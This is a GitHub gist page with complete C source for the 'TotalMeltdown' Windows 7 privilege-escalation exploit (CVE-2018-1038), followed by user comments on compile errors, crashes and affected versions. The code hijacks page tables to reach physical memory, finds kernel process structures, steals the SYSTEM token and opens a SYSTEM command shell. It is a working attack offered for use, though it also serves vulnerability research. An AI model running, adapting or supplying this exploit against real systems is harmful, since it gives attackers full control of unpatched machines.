Skip to content

Instantly share code, notes, and snippets.

@xpn
Last active August 6, 2023 19:02
Show Gist options
  • Save xpn/bdb99cee8895bab4b1a0671696570d94 to your computer and use it in GitHub Desktop.
Save xpn/bdb99cee8895bab4b1a0671696570d94 to your computer and use it in GitHub Desktop.
#include "stdafx.h"
#define PML4_BASE 0xFFFFF6FB7DBED000
#define PDP_BASE 0xFFFFF6FB7DA00000
#define PD_BASE 0xFFFFF6FB40000000
#define PT_BASE 0xFFFFF68000000000
int main()
{
printf("TotalMeltdown PrivEsc exploit by @_xpn_\n");
printf(" paging code by @UlfFrisk\n\n");
printf(" https://blog.xpnsec.com/total-meltdown-cve-2018-1038\n\n");
unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
DWORD done;
// Check for vulnerability
__try {
int test = *(unsigned long long *)PML4_BASE;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("[X] Could not access PML4 address, system likely not vulnerable\n");
return 2;
}
// setup: PDPT @ fixed hi-jacked physical address: 0x10000
// This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
// we can hijack.
for (iPML4 = 256; iPML4 < 512; iPML4++) {
vaPML4e = PML4_BASE + (iPML4 << 3);
if (*(unsigned long long *)vaPML4e) { continue; }
// When we find an entry, we add a pointer to the next table (PDPT), which will be
// stored at the physical address 0x10000
*(unsigned long long *)vaPML4e = 0x10067;
break;
}
printf("[*] PML4 Entry Added At Index: %d\n", iPML4);
// Here, the PDPT table is referenced via a virtual address.
// For example, if we added our hijacked PML4 entry at index 256, this virtual address
// would be 0xFFFFF6FB7DA00000 + 0x100000
// This allows us to reference the physical address 0x10000 as:
// PML4 Index: 1ed | PDPT Index : 1ed | PDE Index : 1ed | PT Index : 100
vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
printf("[*] PDPT Virtual Address: %p", vaPDPT);
// 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages
// Below is responsible for adding 31 entries to the PDPT
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
*(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
}
// For each of the PDs, a further 512 PT's are created. This gives access to
// 512 * 32 * 2mb = 33gb physical memory space
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
if ((iPDPT % 3) == 0)
printf("\n[*] PD Virtual Addresses: ");
vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
printf("%p ", vaPD);
for (iPD = 0; iPD < 512; iPD++) {
// Below, notice the 0xe7 flags added to each entry.
// This is used to create a 2mb page rather than the standard 4096 byte page.
*(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;
}
}
printf("\n[*] Page tables created, we now have access to ~31gb of physical memory\n");
#define EPROCESS_IMAGENAME_OFFSET 0x2e0
#define EPROCESS_TOKEN_OFFSET 0x208
#define EPROCESS_PRIORITY_OFFSET 0xF // This is the offset from IMAGENAME, not from base
unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
printf("[*] Hunting for _EPROCESS structures in memory\n");
for (unsigned long long i = 0x100000; i < 31 * 512 * 2097152; i++) {
__try {
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) {
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
printf("[*] Found our _EPROCESS at %p\n", ourEPROCESS);
}
}
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
else if (systemEPROCESS == 0 && memcmp("System\0\0\0\0\0\0\0\0\0", (unsigned char *)(exploitVM + i), 14) == 0) {
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
printf("[*] Found System _EPROCESS at %p\n", systemEPROCESS);
}
}
if (systemEPROCESS != 0 && ourEPROCESS != 0) {
// Swap the tokens by copying the pointer to System Token field over our process token
printf("[*] Copying access token from %p to %p\n", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
*(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
printf("[*] Done, spawning SYSTEM shell...\n\n");
CreateProcessA(0,
"cmd.exe",
NULL,
NULL,
TRUE,
0,
NULL,
"C:\\windows\\system32",
&si,
&pi);
break;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("[X] Exception occured, stopping to avoid BSOD\n");
return 2;
}
}
return 0;
}
@fuglede
Copy link

fuglede commented Apr 25, 2018

Those having compilation issues may want to #include <windows.h>.

Trying this out on a vulnerable 2008 R2 caused a BSOD.

@RaphaelVAnderson
Copy link

As awify says When I compiled the code with VS2008 and VS2015 and test it on win-8-x64 I got the same result.
How can i fix it?

Problem signature:
Problem Event Name: APPCRASH
Application Name: TotalMeltdown.exe
Application Version: 0.0.0.0
Application Timestamp: 5ae00ae7
Fault Module Name: TotalMeltdown.exe
Fault Module Version: 0.0.0.0
Fault Module Timestamp: 5ae00ae7
Exception Code: c0000005
Exception Offset: 0000107e
OS Version: 6.1.7601.2.1.0.256.1
Locale ID: 1033
Additional Information 1: 0a9e
Additional Information 2: 0a9e372d3b4ad19135b953a78882e789
Additional Information 3: 0a9e
Additional Information 4: 0a9e372d3b4ad19135b953a78882e789

@thatskriptkid
Copy link

@RaphaelVAnderson exploit affects only Windows 7

@AllKittyy
Copy link

#include "stdafx.h"
Error: No such file or directory: stdafx.h

Can I just remove this line? If not, what do I need to replace it with? Or can I just download stdafx.h from somewhere?

@zer0cat
Copy link

zer0cat commented Nov 7, 2018

AllKittyy

  1. try <stdafx.h>
  2. or delete this include, and write include <windows.h> , <stdio.h> and others

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment